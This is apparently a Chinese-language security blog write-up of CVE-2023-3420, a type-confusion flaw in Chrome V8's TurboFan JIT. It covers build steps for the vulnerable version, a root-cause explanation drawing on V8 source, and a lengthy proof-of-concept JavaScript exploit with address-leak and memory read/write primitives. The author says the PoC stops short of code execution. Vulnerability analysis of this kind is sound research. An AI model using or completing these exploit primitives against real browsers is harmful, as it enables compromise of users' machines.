-
-
chrome v8漏洞CVE-2023-3420浅析
-
发表于: 2024-5-15 17:15 3755
-
chrome v8漏洞CVE-2023-3420浅析
作者: coolboy
前言
CVE-2023-3420 是产生在v8 TurboFun模块的类型混淆漏洞。TurboFun模块对代码的优化:在优化代码中假定入参具有某种类型,比如int arr。优化代码将不再检查传入的参数是否确实为int arr,而直接按照int arr的类型对参数进行操作,从而大幅度提高运行效率。漏洞的产生原因是,有一种不应该存在的方法修改了入参了对象,且绕过了TurboFun的检查,导致优化代码没有被解优化,入参被修改为另外一种类型,比如double arr。而优化代码采用int arr的类型去访问double arr,造成了类型混淆。从而引发了漏洞。文章分析了漏洞成因、原理以及POC细节。这是一个系列文章,本文是第三篇。
POC
编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | # 国内的网络编译会失败,挂VPN也遇到了各种问题。 # 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。 git clone https: //chromium .googlesource.com /chromium/tools/depot_tools .git export PATH= /path/to/depot_tools :$PATH mkdir ~ /v8 cd ~ /v8 fetch v8 cd v8 # 漏洞补丁前一笔提交 git checkout 11.4.183.19 gclient sync alias gm=~ /v8/tools/dev/gm .py gm x64.release gm x64.debug # test . /out/x64 .release /d8 --help |
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | let length = 10000; var padding = 40; var arr = new Array(length); arr.fill(0); function func() { return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284]; } for (let i = 0; i < 5000; i++) func(0); var view = new ArrayBuffer(24); var dblArr = new Float64Array(view); var intView = new Uint32Array(view); var bigIntView = new BigInt64Array(view); function ftoi32(f) { dblArr[0] = f; return [intView[0], intView[1]]; } function i32tof(i1, i2) { intView[0] = i1; intView[1] = i2; return dblArr[0]; } function itof(i) { bigIntView = BigInt(i); return dblArr[0]; } function ftoi(f) { dblArr[0] = f; return bigIntView[0]; } var oobObjArr = [view]; oobObjArr[0] = 1; var oobDblArr = [2.2]; var corrupted_arr = [1.1]; var corrupted = {a : corrupted_arr}; var obj0 = {px : {x : 1}}; var str0 = 'aaa' ; function tc(x) { var obj = x.p1.px; obj.x = 100; return x.p1.px.x; } function foo2(obj, proto, x,y) { obj.obj = proto; var z = 0; for (let i = 0; i < 1; i++) { for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; } } } proto.b = 33; return z; } class B {} B.prototype.a = 1; B.prototype.a = 2; B.prototype.b = 1; function bar(x) { return x instanceof B; } var args = {obj: B.prototype}; foo2(args, B.prototype, 20, arr); for (let i = 0; i < 5000; i++) { foo2(args, B.prototype, 10, arr); } bar({a : 1}); for (let i = 0; i < 5000; i++) { bar({b : 1}); } console.log( '========= pre' ); %DebugPrint(B.prototype); foo2(args, B.prototype, length, arr); console.log( '========= after' ); %DebugPrint(B.prototype); var z = B.prototype; var arr3 = new Array(padding); arr3.fill(1); var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; for (let i = 0; i < 20000; i++) { tc(obj1); } Object.defineProperty(z, 'aaa' , {value : corrupted, writable : true }); tc(obj1); var oobOffset = 4; function addrof(obj) { oobObjArr[0] = obj; var addrDbl = corrupted_arr[oobOffset]; return ftoi32(addrDbl)[0]; } function read(addr) { var old_value = corrupted_arr[oobOffset]; corrupted_arr[oobOffset] = i32tof(addr,2); var oldAddr = ftoi32(old_value); var out = ftoi32(oobDblArr[0]); corrupted_arr[oobOffset] = old_value; return out; } function write(addr, val1, val2) { var old_value = corrupted_arr[oobOffset]; corrupted_arr[oobOffset] = i32tof(addr,2); oobDblArr[0] = i32tof(val1, val2); corrupted_arr[oobOffset] = old_value; return ; } var funcAddr = addrof(func); console.log( "func address: " + funcAddr.toString(16)); |
./out/x64.release/d8 --allow-natives-syntax --trace-deopt 'poc.js' 将得到func函数地址,此POC不完整,不能拿到shell,需要发现新的堆风水布局才能完成漏洞利用,后面有详细解释。
func address: 11bc45
漏洞成因分析
背景1 TurboFan
Chrome v8 引擎中的jit编译器称为TurboFan。javascript将根据使用频率进行优化。当函数首次运行时,解释器(ignition)将会生成字节码。
当采用不同输入调用该函数时,turbofan会收集这些输入带来的反馈,比如它们的类型(int或者对象等)。当运行次数足够多以后,turbofan将采用这些反馈来做出假设优化函数,生成优化代码。之后的执行,将不再是字节码,而是执行优化后的代码。当函数的假设不再正确的时候,例如对象类型或者值发生变化,turbofan将对函数进行解优化,再次执行函数时将执行字节码,而非优化代码。
背景2 编译依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 | // test.js var a = {x : 1}; function foo(obj) { var y = obj.x; return y; } %PrepareFunctionForOptimization(foo); foo(a); %OptimizeFunctionOnNextCall(foo); foo(a); //Invalidates the optimized code a.x = 2; |
使用下面命令执行test.js:
./out/x64.release/d8 --allow-natives-syntax --trace-deopt test.js
将得到结果:
[marking dependent code 0x1d2d0011af41 <Code TURBOFAN> (0x1d2d0011ab7d <SharedFunctionInfo foo>) (opt id 0) for deoptimization, reason: code dependencies]
PrepareFunctionForOptimization 和 OptimizeFunctionOnNextCall 为v8内置函数,作用是将foo进行优化。优化时,将假设foo的函数始终返回1。当a.x被赋值为2时,假设不再成立,于是触发解优化操作。--trace-deopt 命令行选项可以打印解优化的情况,如上所示。解优化之后,在调用foo,将执行字节码操作。
编译依赖在底层是通过CompilationDependency实现的,路径:v8/src/compiler/compilation-dependencies.cc,它有三个虚函数,分别为IsValid,PrepareInstall和Install,子类可以继承修改这三个函数。IsValid 方法会检查假设是否有效,同时install建立一种机制,当假设发生变化时触发解优化。
漏洞成因
CompilationDependency的子类PrototypePropertyDependency重写了PrepareInstall方法,如下:
1 2 3 4 5 | void PrepareInstall(JSHeapBroker* broker) const override { SLOW_DCHECK(IsValid(broker)); Handle<JSFunction> function = function_.object(); if (!function->has_initial_map()) JSFunction::EnsureHasInitialMap(function); } |
该方法调用了JSFunction::EnsureHasInitialMap函数,JSFunction::EnsureHasInitialMap会调用JSFunction::SetInitialMap函数。JSFunction::SetInitialMap函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | void JSFunction::SetInitialMap(Isolate* isolate, Handle<JSFunction> function, Handle<Map> map, Handle<HeapObject> prototype, Handle<HeapObject> constructor) { if (map->prototype() != *prototype) { Map::SetPrototype(isolate, map, prototype); } DCHECK_IMPLIES(!constructor->IsJSFunction(), map->InSharedHeap()); map->SetConstructor(*constructor); function->set_prototype_or_initial_map(*map, kReleaseStore); if (v8_flags.log_maps) { LOG(isolate, MapEvent( "InitialMap" , Handle<Map>(), map, "" , SharedFunctionInfo::DebugName( isolate, handle(function->shared(), isolate)))); } } |
Map::SetPrototype(isolate, map, prototype); 这行代码将修改对象的类型,将"fast"对象修改为"dictionary"对象。综上,假如一个函数它的优化的假设依赖PrototypePropertyDependency,当PrototypePropertyDependency的PrepareInstall被调用时,该对象的类型将被改变,从"fast"修改为"dictionary"。而这个改变过程属于Turbofan优化编译本身,将无法触发解优化。从而实现了对象实际类型和优化代码里面的类型不一致,导致了类型混淆。
POC详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | class B {} B.prototype.a = 2; B.prototype.b = 1; function foo2(obj, proto, x,y) { obj.obj = proto; var z = 0; for (let i = 0; i < 1; i++) { for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; } } } proto.b = 33; return z; } foo2(args, B.prototype, 20, arr); for (let i = 0; i < 5000; i++) { foo2(args, B.prototype, 10, arr); } |
这段代码将优化foo2,假设B.prototype类型为"fast"对象。
1 2 3 4 5 6 7 | function bar(x) { return x instanceof B; } for (let i = 0; i < 5000; i++) { bar({b : 1}); } foo2(args, B.prototype, length, arr); |
执行这段代码将优化bar函数,而bar函数的优化将依赖于PrototypePropertyDependency。PrototypePropertyDependency对象的PreInstall的函数将被加入到任务列表里面,在合适的时机调用它。这个合适的时机是StackGuard节点。StackGuard节点会在for循环中产生。于是在优化bar之后,紧接着调用foo2。foo2中有一个比较长的for循环,里面有StackGuard节点。再回过头看foo2代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | // foo2优化时机在bar之前,所以当调用foo2(args, B.prototype, length, arr);时,foo2已经优化,假设proto即B.prototype类型为"fast"对象。 function foo2(obj, proto, x,y) { obj.obj = proto; var z = 0; // 此时B.prototype类型为"fast"对象 for (let i = 0; i < 1; i++) { // 当执行for循环时,StackGuard节点被执行,它将调用bar优化依赖的PrototypePropertyDependency的PreInstall函数。而PreInstall函数将B.prototype类型从"fast"修改为"dictionary" for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; } } } // 此时B.prototype类型为"dictionary"对象 // foo2假设proto为"fast",实际为"dictionary"。proto.b将发生类型混淆,实际将dictionary的capacity修改为33 proto.b = 33; return z; } |
1 2 3 4 5 6 7 | console.log( '========= pre' ); %DebugPrint(B.prototype); foo2(args, B.prototype, length, arr); console.log( '========= after' ); %DebugPrint(B.prototype); |
做个实验,在foo2调用前后用DebugPrint打印B.prototype信息,得到结果如下:
========= pre DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE] - map: 0x1ae00011c979 <Map[12](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1> - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1ae00018adb1 <PropertyArray[4]> ... ========= after DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE] - map: 0x1ae00011d349 <Map[12](HOLEY_ELEMENTS)> [DictionaryProperties] - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1> - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1ae0001aa6f9 <NameDictionary[30]> ...
可以看到,确实调用foo2前为FastProperties,调用后为DictionaryProperties。它们的实现分别为PropertyArray和NameDictionary。内存结构如下图:
可见,当优化代码修改为"fast"的b属性时,实际修改的"dictionary"的capacity属性。"proto.b = 33" 将capacity属性修改33。33为2的5次方加上1。当capacity的值满足2的n次方加1的时候,对dictionary的访问,将总是访问最后一个对象。因此有了下面代码:
1 2 3 4 5 6 7 8 9 10 11 | class B {} B.prototype.a = 1; B.prototype.a = 2; B.prototype.b = 1; var z = B.prototype; var arr3 = new Array(padding); arr3.fill(1); var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; Object.defineProperty(z, 'aaa' , {value : corrupted, writable : true }); |
dictionary的子项的存储是通过(key, value, attribute)三元组进行的。这是为什么obj1也长这样。至于为什么位于B之后,中间还有padding,是因为原本B只有a,b两个元素,长度被修改33之后,往后发生了越界,最后一个元素刚好位于obj1所在的内存。"Object.defineProperty"操作长度修改后的最后一个元素,变相修改了obj1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | var corrupted_arr = [1.1]; var corrupted = {a : corrupted_arr}; var obj0 = {px : {x : 1}}; var str0 = 'aaa' ; function tc(x) { var obj = x.p1.px; obj.x = 100; return x.p1.px.x; } var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; for (let i = 0; i < 20000; i++) { tc(obj1); } // 此时obj1.p1.px为 {x : 1} Object.defineProperty(z, 'aaa' , {value : corrupted, writable : true }); // 此时obj1.p1.px为 [1.1]。tc中仍然假设obj1为{x : 1} tc(obj1); |
{x : 1} 和 [1.1] 内存如下图:
类型混淆后在执行tc(obj1), obj.x=100,将修改数组长度,从1变为100,这将导致越界读写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | var oobObjArr = [view]; oobObjArr[0] = 1; var oobDblArr = [2.2]; var corrupted_arr = [1.1]; var oobOffset = 4; function addrof(obj) { oobObjArr[0] = obj; var addrDbl = corrupted_arr[oobOffset]; return ftoi32(addrDbl)[0]; } var funcAddr = addrof(func); |
这样的申明顺序,将oobDblArr和oobObjArr的数组内存安排在了corrupted_arr数组内存之后,可以实现越界读写。oobObjArr[0]赋值为对象,那么对象的内存地址,就可以由corrupted_arr这个double arr通过越界读出来,corrupted_arr[4]中存放的就是func的地址。到这里便实现了对象地址读。
如果将js 数组对象的element指针地址放置在corrupted_arr数组之后,通过越界读写,就可以改变js 数组指向的内存,通过修改之后的js 数组,便可以实现任意地址读写。参考chrome v8漏洞CVE-2021-30632浅析的POC。
当前漏洞,由于bar函数优化的原因,内存布局一直没能实现js 数组对象的element指针地址放置在corrupted_arr数组之后,而是在它之前,无法实现越界读写。去掉bar函数优化则可以实现上述堆风水。但去掉bar优化就无法触发漏洞,因此还需要找到另外一种堆风水来利用此漏洞。POC漏洞发现者提供的POC是阉割版,甚至无法复现对象地址读。留个坑,以后来填。
启发
这个漏洞是如何发现的呢?Fuzz? Code review?欢迎讨论。
参考
Getting RCE in Chrome with incorrect side effect in the JIT compiler
加群讨论V8漏洞